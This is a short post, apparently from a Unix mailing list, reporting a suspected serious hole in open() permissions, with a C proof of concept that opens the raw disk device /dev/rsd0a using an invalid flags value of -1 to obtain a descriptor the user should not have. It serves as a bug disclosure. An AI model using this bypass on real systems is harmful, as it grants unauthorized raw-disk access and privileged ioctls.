Possible SERIOUS bug in open()?

This was sent to me recently...  It seems to be a pretty serious hole
in open() and permissions...
 
Note, in the following, open() succeeds, and ioctls are probably
executed...
 
/*
 * This will give you a file descriptor on a device you should not have
 * access to.  This seems really, really screwed up, since holding a fd
 * lets you do a lot of ioctls that you should not be able to do...
 */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <err.h>
 
int
main(int argc, char **argv)
{
  int fd;
 
  fd = open("/dev/rsd0a", -1, 0);
 
  if (fd < 0)
    err(1, "open");
}